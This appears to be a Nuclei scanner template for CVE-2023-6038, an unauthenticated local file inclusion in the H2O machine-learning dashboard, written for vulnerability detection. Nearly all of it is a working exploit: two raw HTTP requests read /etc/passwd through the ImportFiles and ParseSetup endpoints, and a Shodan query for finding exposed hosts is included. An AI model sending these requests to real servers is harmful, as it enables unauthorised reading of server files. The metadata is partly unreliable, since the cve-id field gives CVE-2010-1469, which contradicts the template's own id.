id: CVE-2023-6038 info: name: H2O ImportFiles - Local File Inclusion author: danmcinerney,byt3bl33d3r severity: high description: | An attacker is able to read any file on the server hosting the H2O dashboard without any authentication. reference: - https://huntr.com/bounties/380fce33-fec5-49d9-a101-12c972125d8c/ - https://nvd.nist.gov/vuln/detail/CVE-2023-6038 - https://github.com/h2o/h2o classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2010-1469 cwe-id: CWE-29,CWE-862 epss-score: 0.00084 epss-percentile: 0.35105 cpe: cpe:2.3:a:h2o:h2o:-:*:*:*:*:*:*:* metadata: shodan-query: title:"H2O Flow" verified: true max-request: 1 product: h2o vendor: h2o tags: cve,cve2023,h2o-3,h2o,ml http: - raw: - | GET /3/ImportFiles?path=%2Fetc%2Fpasswd HTTP/1.1 Host: {{Hostname}} - | POST /3/ParseSetup HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded source_frames=%5B%22nfs%3A%2F%2Fetc%2Fpasswd%22%5D matchers-condition: and matchers: - type: dsl dsl: - "contains(body_1, 'ImportFilesV3')" - "regex('root:.*:0:0:', body_2)" - "status_code_2 == 200" condition: and # digest: 4a0a0047304502205ffecb551b62bf2c8f00912969959851d0f1a56a23e04dfc90ba9b9a6bd7e14f022100e744d2e3af2fb90a533af8f2bc5a98bb53043dfcb225c12ba639eb3dd7b6da62:922c64590222798bb761d5b6d8e72950